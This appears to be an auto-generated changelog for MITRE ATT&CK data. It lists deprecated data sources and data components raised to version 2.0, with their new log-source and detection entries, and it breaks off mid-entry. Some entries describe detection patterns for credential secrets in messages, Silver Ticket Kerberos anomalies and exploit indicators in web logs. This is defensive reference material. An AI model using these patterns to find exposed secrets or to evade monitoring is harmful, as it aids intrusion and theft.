Description:

A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)

Details
values_changed
STIX FieldOld valueNew Value
modified2024-12-24 18:06:47.351000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0038] Domain Name

Current version: 1.0

Description:

Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:57.359000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0016] Drive

Current version: 1.0

Description:

A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:06.700000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0027] Driver

Current version: 1.0

Description:

A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:53.761000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0022] File

Current version: 1.1

Description:

A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:04.845000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0018] Firewall

Current version: 1.1

Description:

A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:58.457000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0001] Firmware

Current version: 1.0

Description:

Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:07.251000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0036] Group

Current version: 1.0

Description:

A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:55.737000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0007] Image

Current version: 1.0

Description:

A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:56.103000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0030] Instance

Current version: 1.0

Description:

A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 19:40:29.066000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0035] Internet Scan

Current version: 1.0

Description:

Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:51.440000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0008] Kernel

Current version: 1.0

Description:

A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:57.731000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0028] Logon Session

Current version: 1.2

Description:

Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:19.778000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0004] Malware Repository

Current version: 1.1

Description:

Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:39:11.272000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0011] Module

Current version: 1.0

Description:

Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:06.151000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0023] Named Pipe

Current version: 1.0

Description:

Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:53.223000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0033] Network Share

Current version: 1.0

Description:

A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:03.613000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:13.424000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0021] Persona

Current version: 1.0

Description:

A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:58.095000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0014] Pod

Current version: 1.0

Description:

A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:58.983000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0009] Process

Current version: 1.2

Description:

Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:24.655000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0003] Scheduled Job

Current version: 1.1

Description:

Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:05.238000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0012] Script

Current version: 1.2

Description:

A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:42.967000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0013] Sensor Health

Current version: 1.1

Description:

Information from host telemetry providing insights about system status, errors, or other notable functional activity

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:39:11.418000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0019] Service

Current version: 1.1

Description:

A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:04.346000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0020] Snapshot

Current version: 1.0

Description:

A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:55.198000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0002] User Account

Current version: 1.2

Description:

A profile representing a user, device, service, or application used to authenticate and access resources

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:38.667000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0034] Volume

Current version: 1.0

Description:

Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 19:42:50.490000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0005] WMI

Current version: 1.0

Description:

The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:56.995000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0006] Web Credential

Current version: 1.0

Description:

Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:51.076000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0024] Windows Registry

Current version: 1.0

Description:

A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:05.783000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

mobile-attack

Deprecations

[DS0041] Application Vetting

Current version: 1.0

Description:

Application vetting report generated by an external cloud service.

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:20.420000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:26.880000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:13.424000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0009] Process

Current version: 1.2

Description:

Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:24.655000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0013] Sensor Health

Current version: 1.1

Description:

Information from host telemetry providing insights about system status, errors, or other notable functional activity

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:39:11.418000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0042] User Interface

Current version: 1.0

Description:

Visual activity on the device that could alert the user to potentially malicious behavior.

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:20.681000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

ics-attack

Deprecations

[DS0015] Application Log

Current version: 1.1

Description:

Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:03.068000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0039] Asset

Current version: 1.0

Description:

Data sources with information about the set of devices found within the network, along with their current software and configurations

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:26:35.809000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:26.880000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0016] Drive

Current version: 1.0

Description:

A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:06.700000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0022] File

Current version: 1.1

Description:

A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:04.845000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0001] Firmware

Current version: 1.0

Description:

Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:07.251000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0028] Logon Session

Current version: 1.2

Description:

Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:19.778000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0011] Module

Current version: 1.0

Description:

Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:06.151000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0033] Network Share

Current version: 1.0

Description:

A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:03.613000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:13.424000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0040] Operational Databases

Current version: 1.0

Description:

Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:26:35.400000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0009] Process

Current version: 1.2

Description:

Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:24.655000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0003] Scheduled Job

Current version: 1.1

Description:

Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:05.238000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0012] Script

Current version: 1.2

Description:

A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:42.967000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0019] Service

Current version: 1.1

Description:

A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:04.346000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0002] User Account

Current version: 1.2

Description:

A profile representing a user, device, service, or application used to authenticate and access resources

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:38.667000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0024] Windows Registry

Current version: 1.0

Description:

A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:05.783000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

Data Components

enterprise-attack

Major Version Changes

[DC0103] Active DNS

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0103', 'external_id': 'DC0103'}]
x_mitre_log_sources[{'name': 'Domain Name', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:37.830000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0084] Active Directory Credential Request

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0084', 'external_id': 'DC0084'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4768'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Kerberos', 'channel': 'Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4929'}, {'name': 'linux:syslog', 'channel': 'Unusual kinit or klist activity'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:14.586000+00:002025-10-22 18:41:09.269000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

[DC0071] Active Directory Object Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0071', 'external_id': 'DC0071'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4662'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4661'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:08.230000+00:002025-10-21 15:14:35.607000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0087] Active Directory Object Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0087', 'external_id': 'DC0087'}]
x_mitre_log_sources[{'name': 'azure:audit', 'channel': 'New device object creation'}, {'name': 'WinEventLog:Security', 'channel': 'Device Object Creation'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4928'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:20.946000+00:002025-10-21 15:14:36.803000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0068] Active Directory Object Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0068', 'external_id': 'DC0068'}]
x_mitre_log_sources[{'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=4929'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:17.768000+00:002025-10-21 15:14:40.681000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0066] Active Directory Object Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0066', 'external_id': 'DC0066'}]
x_mitre_log_sources[{'name': 'azure:activity', 'channel': 'Update conditionalAccessPolicy'}, {'name': 'esxi:vpxa', 'channel': 'vim.SessionManager.login / vim.AccountManager.createUser'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4739'}, {'name': 'azure:SigninLogs', 'channel': 'Add certificate credential, Update certificate credential'}, {'name': 'm365:dirsync', 'channel': 'Replication cookie changes involving Configuration partition with new server/nTDSDSA objects.'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'esxi:vpxd', 'channel': 'permission change operations on datastores or VMs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-AppPassword, Add-MailboxPermission'}, {'name': 'm365:unified', 'channel': 'Add app role assignment grant to user: Consent to application by privileged or unexpected accounts'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:11.376000+00:002025-10-22 18:42:57.886000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

[DC0038] Application Log Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}]
x_mitre_log_sources[{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new|thunderbolt|pci .* added|block.*: new .* device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 